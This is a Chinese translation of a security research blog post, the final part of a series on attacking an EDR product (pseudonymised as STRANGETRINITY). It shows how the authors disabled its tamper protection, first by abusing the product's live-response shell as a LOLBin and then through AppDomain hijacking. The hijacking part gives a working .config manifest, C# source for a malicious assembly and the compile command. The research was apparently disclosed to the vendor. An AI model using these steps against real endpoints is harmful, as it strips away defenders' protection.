攻击 EDR 第三部分

kitty

英文原文：https://her0ness.github.io/2023-11-07-Attacking-an-EDR-Part-3/

介绍

这篇文章是与 Riccardo Ancarani 合作完成的，这是他的博客：https://riccardoancarani.github.io

在本系列的第三部分也是最后一部分中，我们将更深入地研究 EDR 的更新过程，并发现一些逻辑缺陷，这些缺陷最终导致我们彻底解除了该解决方案。此外，我们还发现了一个意外收获，一项新的 LOLBin 技术。这一部分的代码量会更大一些，我们将尽力减少不必要的部分，但读者可能需要通过一些额外的参考资料来充分利用这一点。

如上所述，这部分研究的重点是更新过程，解决方案最终需要重新启动或调整其自身的配置以应用新的更改。对于新的更改，主要指的是需要修改或类似的二进制文件的软件更新，而不是签名数据库的简单更新。

从高层次的角度来看，当软件需要应用更新时，可能会出现以下情况：

• 更新是由需要更新的同一组件完成的
• 更新被委托给单独负责该更新的附加组件
  

虽然对于普通软件来说这可能不是一个大问题，但对于需要保护自身免受不必要的修改和篡改的 EDR 来说，这可能是一项艰巨的任务。

在攻击场景中，我们假设正在审查的解决方案 at some point 必须暂时取消一些通常采用的对策，以允许引入额外的软件组件。

无论如何，并不是每个更新机制都需要以这种方式运行，并不意味着该机制在设计上存在缺陷。每个案例都应该从架构和实施的角度仔细审查。然而，通常情况下，即使是极其复杂的软件架构，其安全性的核心部分也基于一些假设，而在实践中，这些假设可能与现实不符。我们确实认为，安装、卸载和更新应该包含在每个在其资产中引入第三方工具的供应商或公司的威胁模型中。你可能会开始提出以下一些问题来指导威胁建模练习：

EDR 是否会暂时降低其安全态势以允许更新？时间窗口是否足以让攻击者执行恶意操作？卸载过程在实践中是如何进行的？它是否需要由集中租户生成的代码？对 EDR 软件的数字签名给予多少信任？与没有签名的恶意软件相比，存在于 EDR 供应商签名的进程中的威胁是否有更多的余地？

假设：

• 恶意软件将无法获得与供应商相同的代码签名证书
• 恶意软件将无法打开 EDR 进程的特权句柄
  

可能会产生误导并给人一种错误的安全感，建议开始挑战这些假设并开始设计能够承受这些情况的产品。

当解决方案处于最佳状态时必然会发生攻击的假设是完全错误的，我们显然不是这种方法的先驱，Prelude Security 的团队持续安全测试的论证也讨论了类似的概念。

理论已经够多了，让我们动手吧。

开发

故障转储文件

该过程首先分析 EDR 解决方案留在磁盘上的与其功能相关的所有文件、日志和一般工件。本质上，我们正在寻找所有剩下的东西。

不出所料，在 C:\ProgramData 文件夹中，可以找到与 STRANGETRINITY 产品相关的子文件夹。在该文件夹中，识别出一个 UserCrashDump 目录。该文件夹主要包含文本文件，显然存储了与产品安装和更新相关的日志。在所有条目中，经过仔细分析，发现了一个有趣的命令行：

1. <TIMESTAMP> Property Change: Adding ApplyConfigProtectRollback property, its value is: StrangeTrinity.exe unshield_from_authorized_process

复制代码

嗯，这听起来很有趣。显然当时我们不知道该命令的功能是什么，我们只能通过它的名称来猜测。然而，这听起来很有希望，足以推动我们继续走这条路。

在没有浪费太多时间的情况下，我们尝试从提升的命令提示符处再次运行相同的命令，但是 …… 鼓声 …… 它不起作用！然而，对我们来说幸运的是，该程序提供了一些关于它不起作用的原因的提示。具体来说，获得的输出大致如下：

1. Parent process is not signed by `Vendor`
   
2. `Unshield not approved.`

复制代码

解除授权进程屏蔽

通过运行上述命令获得的错误信息足以让我们认为 EDR 服务执行的主要检查完全基于调用 StrangeTrinity.exe unshield_from_authorized_process 命令的进程的数字签名的验证。

此时我们显然遇到了一个问题，因为我们不拥有用于签署 STRANGETRINITY 软件的私钥，所以我们根本无法签署任意 EXE 并使其调用我们的命令。然后进行了以下测试：

• 将 shellcode 注入正在运行的 EDR 进程
• 将 shellcode 注入临时创建的挂起的 EDR 进程中，称为 fork-and-run 模式
• 在受感染的主机上安装恶意证书颁发机构，并使用与供应商的主题相同的证书签署任意 EXE
  

不幸的是，上述方法都不起作用。

一个新的 LOLBin？

STRANGETRINITY 与大多数顶级 EDR 一样，具有某种 live response 功能，允许响应者在他们正在分析的主机上运行任意命令并执行脚本。如果这听起来像是命令与控制，那是因为它基本上就是这样！

不同的产品以不同的方式实现此功能，但是，STRANGETRINITY 有一个专用流程，当分析师从主租户发起实时响应会话时会生成该流程。该程序本质上是执行一个 powershell 进程并将其输出传输到一个命名管道；我们想象输出随后被发送到主代理进程，并最终重定向到集中式租户供分析师查看。

使用 Sysmon 的 EventID 1 对执行的进程进行简要检查，揭示了该解决方案使用的命令行：

1. StrangeTrinityResponseShell.exe “powershell.exe -enc ….”

复制代码

这看起来很简单！我们很快尝试使用不同的命令行执行 StrangeTrinityResponseShell.exe，并且效果非常好。除了是一个 LOLBin（我们不会发布它以保持我们在本系列第 1 部分中讨论的相同级别的完整性）之外，它还构成了一个有趣的原语，我们可以使用它来绕过所讨论的父进程签名检查在上面的章节中。

测试非常简单，因为我们只需执行以下命令：

1. StrangeTrinityResponseShell.exe “StrangeTrinity.exe unshield_from_authorized_process”

复制代码

令我们惊讶的是，我们得到了一个 Unshield approved 提示，这看起来就像是破解版！使用官方故障排除实用程序检查 EDR 的配置确实表明防篡改功能已被禁用，并且该解决方案可以被卸载或被轻易篡改。

应用程序域劫持

LOLBin 部分很有趣，但在向供应商提交漏洞之前，我们一直在寻找其他途径。这样做主要是为了增加报告传达正确信息的机会。

在签名进程的上下文中执行代码的另一种方法是利用应用程序域劫持技术。该技术并不是什么新鲜事，可以在网络上找到大量资源。但简而言之，Appdomain 劫持是一种攻击，允许攻击者通过在清单文件中指定一组条目来强制合法 .NET 应用程序加载自定义 .NET 程序集。清单文件只是一个扩展名为 .config 的 XML 配置文件。网络上有功能齐全的 PoC。但是，为了使用此攻击，必须找到也由供应商签名的 .NET 二进制文件。

如果碰巧拥有 VirusTotal 企业订阅，则只需在签名标记中查找具有特定供应商的 .NET 二进制文件并下载提交的文件会更容易。幸运的是，不必执行任何操作，因为供应商还安装了一组实用程序来在单独的文件夹中收集主机上的日志，其中一个是使用 .NET 框架编写的。

为了利用这一点，我们将日志代理实用程序复制到任意文件夹中，并在其旁边放置以下名为 LogAgent.exe.config 的文件：

1. <configuration>
   
2.    <runtime>
   
3.           <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
   
4.              <probing privatePath="C:\Test"/>
   
5.           </assemblyBinding>
   
6.       <etwEnable enabled="false" />
   
7.       <appDomainManagerAssembly value="test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />  
   
8.       <appDomainManagerType value="MyAppDomainManager" />  
   
9.    </runtime>
   
10. </configuration>

复制代码

重要的是，配置文件的名称与目标可执行文件的名称相同，并在末尾附加 .config，否则攻击将不起作用。

检查上面的配置文件，可以看到配置文件指定应用程序应该加载一个名为 test 的新应用程序域管理器，在本例中是我们的自定义恶意程序集。Test.cs 文件的代码如下：

1. using System;
   
2. using System.Collections.Generic;
   
3. using System.Linq;
   
4. using System.Runtime.InteropServices;
   
5. using System.IO;
   
6. using System.IO.Compression;
   
7. using System.EnterpriseServices;
   
8. using System.Text;
   
9. using System.Threading.Tasks;
   
10. public sealed class MyAppDomainManager : AppDomainManager {
    
11.     public override void InitializeNewDomain(AppDomainSetup appDomainInfo) {
    
12.         Program.Main(new string[] {}
    
13.         );
    
14.     }
    
15. }
    
16. 
    
17. public class Program {
    
18.     public static void Main(string[] args) {
    
19.         System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
    
20.         startInfo.FileName = @"C:\\Program Files\\STRANGETRINITY\\StrangeTrinity.exe";
    
21.         startInfo.Arguments = "unshield_from_authorized_process";
    
22.         System.Diagnostics.Process.Start( startInfo);
    
23.     }
    
24. }

复制代码

上面的代码片段显示了恶意 .NET 程序集的代码，它只是使用正确的命令行生成了 StrangeTrinity.exe 进程以将其禁用。

为了编译 DLL，使用了 csc.exe 实用程序：

1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64 /target:library /out:test.dll .\test.cs

复制代码

要执行攻击，请将所有文件放在同一文件夹中：

• LogAgent.exe.config
• LogAgent.exe
• test.dll
  

一旦 LogAgent.exe 实用程序启动，恶意 .NET DLL 就会加载到签名进程中，最终启动 StrangeTrinity.exe，攻击按预期进行，解除了解决方案的防篡改最后一道防线，并将问题传达给供应商。

结论

这篇文章总结了我们关于攻击 EDR 的系列文章，希望你在阅读本文时和我们在撰写本文时一样享受乐趣。感谢 REDACTED，他让我们能够测试所有我们想要的东西，并积极响应修复漏洞。尽管知道该行业在协作研究方面有很大的改进潜力，但我们确实希望这能为未来的工作奠定更坚实的基础。